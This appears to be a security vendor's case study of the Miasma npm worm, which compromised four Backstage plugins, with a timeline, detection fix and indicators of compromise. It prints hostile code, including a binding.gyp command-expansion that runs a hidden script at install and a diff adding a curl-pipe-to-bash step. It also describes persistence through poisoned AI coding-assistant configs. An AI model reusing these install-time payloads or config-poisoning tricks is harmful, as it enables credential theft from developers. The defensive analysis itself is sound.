← all case studies Case study · npm · Miasma

The install hook
with no install hook.

In June 2026 the Miasma worm hid its payload inside binding.gyp, with no preinstall or postinstall to detect. It beat every lifecycle-script scanner, ours included. This is the honest account: how it worked, why the first pass missed it, and how we closed the entire class of evasion so it blocks today.

Live attack · case study

The evasion that beat everyone,
and how we closed the class.

On June 26, 2026, the Miasma Mini Shai-Hulud worm reached four trusted Backstage plugins from ImmobiliareLabs, the engineering org behind Italy's largest property portal. The payload ran at npm install through a binding.gyp trick that carries no lifecycle script, so the usual signal had nothing to fire on. Here is the timeline, the miss, and the fix.

22malicious versions
4Backstage plugins
~30 secpublish burst window
MiasmaMini Shai-Hulud campaign
  1. Jun 24 · 15:39:06 UTC

    It begins in a trusted release Action

    The attacker force-pushes an imposter commit into codfish/semantic-release-action and repoints seven version tags (v1.6.1 through v2.2.1) at it. The Action is quietly rewritten from Docker to a composite one, with two steps guarded by if: always() that run a ~512 KB Bun payload to steal OIDC tokens and PATs. This is the class our commit-level watcher reads, a force-push that rewrites a workflow to run a bundled payload.

  2. Jun 24 · the lock-in

    Tags frozen, then the worm spreads

    The attacker uses GitHub Repository Rulesets to make the hijacked tags immutable, including the rolling v5, so a downstream pin cannot be cleaned by a tag reset. With the stolen tokens it injects steps into other repos' workflows and republishes trojanized versions, the upstream access path into the @immobiliarelabs publish pipeline.

  3. Jun 26 · the burst

    22 versions in 30 seconds · in our data within a minute

    Malicious patch releases land on every major line of four plugins at once: backstage-plugin-gitlab, -gitlab-backend, -ldap-auth and -ldap-auth-backend. Our npm firehose ingests every one within about a minute of publication. Seen, recorded, timestamped.

  4. the evasion

    No preinstall. No postinstall. The payload hides in binding.gyp

    Every malicious version declares no install, preinstall or postinstall script. Instead binding.gyp carries "<!(node index.js > /dev/null 2>&1 && echo stub.c)". node-gyp evaluates that command-expansion during npm install, so a 5 MB obfuscated index.js executes with no lifecycle hook anywhere to be seen.

  5. the miss

    Why everyone missed it, us included

    At first the versions were not flagged, for the same reason the rest of the industry missed them: install-time detection across the ecosystem was keyed on lifecycle scripts, and there are none here. We are telling this plainly because the response matters more than the miss. The right answer to a missed technique is not a one-off rule. It is to close the class.

  6. the payload

    Credential harvest, then persistence through your AI assistant

    The loader peels a ROT-2 Caesar shift, then AES-128-GCM, then an obfuscator.io layer, fetches Bun v1.3.13 to run the next stage, and harvests .env files, cloud and registry tokens, Vault, Kubernetes and SSH secrets. Then infectHost writes a SessionStart hook into .claude/settings.json, rules into .cursor/rules/, a .github/copilot-instructions.md and a folderOpen task into .vscode/tasks.json, so the developer's own coding assistant re-runs the payload.

  7. the fix · we close the class

    Read binding.gyp as install-time execution · new signals fire

    We extended the engine to treat a binding.gyp <!( ) command-expansion that runs a bundled script (or chains and redirects) as install-time code execution, the same severity class as a malicious postinstall, and to flag package code that writes to AI-assistant config paths. Not one rule for one package. The whole evasion class, and the persistence class, shut at once.

  8. the verdict

    Run against the live packages: BLOCK

    With the class closed, the poisoned plugins score in the block band and every surface agrees: npm install through the proxy returns 403, CI gates fail, the editor flags it, the CLI exits non-zero. The binding.gyp payload never reaches disk, and the AI-assistant configs are never rewritten.

  9. forward · every install, every customer

    The class stays shut

    The same check now runs on every npm publish we ingest, so the next binding.gyp payload is caught on the first pass, not the second. And when a malicious version is unpublished within the day, the classic publish-then-vanish evasion, we cluster the scope's rapid-unpublish burst from a lightweight gone-marker even when the tarball is already gone. Campaign attributed to Miasma Mini Shai-Hulud by Socket, StepSecurity and ReversingLabs.

Read at the commit level

The attack started a layer up,
in a trusted release Action.

Two days before the burst, the whole thing began as a force-pushed commit that rewrote codfish/semantic-release-action. This is the change, reconstructed from the public forensic record, and the class our commit-level watcher reads.

force-pushchore: streamline release pipelinecodfish/semantic-release-action · Jun 24 15:39 UTC
action.yml
14- using: 'docker'
15- image: 'Dockerfile'
14+ using: 'composite'
15+ steps:
16+ - run: curl -fsSL https://bun.sh/install | bash && bun x ./.ci/rel.js
17+ shell: bash
18+ if: always()
Signal E The class our commit-level watcher reads: a force-pushed imposter commit that repoints tags (v1.6.1 → v2.2.1), converts an Action from Docker to composite, and injects an if: always() step running a bundled payload. The workflow-injection and orphan-tag detectors corroborate the same event.

fig. 01 · commit-level diff · the Action rewrite, reconstructed from the public forensic record (StepSecurity, ReversingLabs)

Caught at install

Not an advisory after the fact.
The verdict.

Once the class was closed, every CyberXYZ proxy returns the same answer for these versions, block, before the tarball can run its binding.gyp payload.

app.cyberxyz.io/proxy/findings
Search package, IP, OS…All typesAll risk levels live
verdictnpm@immobiliarelabs/backstage-plugin-gitlab@7.0.2BLOCKany runner CI/CDat installCRITICAL
verdictnpm@immobiliarelabs/backstage-plugin-gitlab-backend@7.0.2BLOCKany runner CI/CDat installCRITICAL
verdictnpm@immobiliarelabs/backstage-plugin-ldap-auth@5.2.1BLOCKany runner DEVat installCRITICAL
verdictnpm@immobiliarelabs/backstage-plugin-ldap-auth-backend@5.2.1BLOCKany runner CI/CDat installCRITICAL

fig. 02 · proxy verdict · the answer every CyberXYZ proxy now returns for these versions, at install

app.cyberxyz.io/notifications
install verdict · after the class closednpm · block

Blocked install: @immobiliarelabs/backstage-plugin-gitlab@7.0.2 · npm

0/10
RISK SCORE critical · verdict block
SIGNALS
CAMPAIGN SCOPE0 malicious versions · 0 trusted plugins
gitlab@7.0.2gitlab-backend@7.0.2ldap-auth@5.2.1ldap-auth-backend@5.2.1
STATEMENTEcosystem npm · decision block (confidence 1.0) · install-time execution via binding.gyp command-expansion · no lifecycle script present
SIGNALS · 4 of 4 fired
01Tarball content scan · install hooktriggeredCRITICAL

A binding.gyp command-expansion <!(node index.js …) executes at node-gyp build with no preinstall or postinstall hook. Flagged as gyp_command_execution, install-hook context.

02AI-assistant persistencetriggeredHIGH

Package code writes to .claude/settings.json, .cursor/rules/, .github/copilot-instructions.md and .vscode/tasks.json, reinfecting through the developer's AI coding tools.

03Credential harvesttriggeredCRITICAL

The staged payload reads .env files and npm / GitHub / AWS / Azure / GCP / Vault / registry tokens, SSH keys and Kubernetes configs, a CI/CD-targeted harvester.

04Wave correlationmatchedCRITICAL

22 versions from one scope share an identical binding.gyp fingerprint in a 30-second window, a coordinated wave, not a one-off. Campaign: Miasma Mini Shai-Hulud.

PACKAGE CONTEXT
plugin @immobiliarelabs/backstage-plugin-gitlab · malicious versions 1.0.1 → 7.0.2 · published Jun 26 · source github.com/immobiliare/backstage-plugin-gitlab
PACKAGE @immobiliarelabs/backstage-plugin-gitlabVERSION 7.0.2ECOSYSTEM npmDECISION BLOCK

fig. 03 · install verdict · the XYZ score and the four signals that fire once the class is closed

Are you exposed?

If any of these are in a lockfile,
treat the host as compromised.

The malicious versions were unpublished, but a cached tarball or a pinned lockfile can still carry them. Pull these, rotate every credential the runner could reach, and check the AI-assistant configs below.

# affected @immobiliarelabs versions (npm) backstage-plugin-gitlab 1.0.1 2.1.2 3.0.3 4.0.2 5.2.1 6.13.1 7.0.2 backstage-plugin-gitlab-backend 3.0.3 4.0.2 5.2.1 6.13.1 7.0.2 backstage-plugin-ldap-auth 1.1.4 2.0.5 3.0.2 4.3.2 5.2.1 backstage-plugin-ldap-auth-backend 1.1.3 2.0.5 3.0.2 4.3.2 5.2.1 # indicators of compromise binding.gyp sha256 ef641e956f91d501b748085996303c96a64d67f63bfeef0dda175e5aa19cca90 campaign marker "thebeautifulsnadsoftime" payload runtime bun v1.3.13 (github.com/oven-sh/bun/releases) persistence paths .claude/settings.json .cursor/rules/ .github/copilot-instructions.md .vscode/tasks.json

Full technique breakdown, IOC list and remediation steps in the CyberXYZ blog.

Sources: CyberXYZ threat intelligence and the CyberXYZ technical write-up, corroborated by Socket, StepSecurity, ReversingLabs and The Hacker News (Jun 2026). How the engine decides: the methodology.

// the ask

Catch the next one
on the first pass.

The binding.gyp class is shut and running on every npm publish we ingest. See it read your own dependency tree in a 15-minute walkthrough, and we'll plug the proxy into your CI in under an hour.

Book a demo → Check a package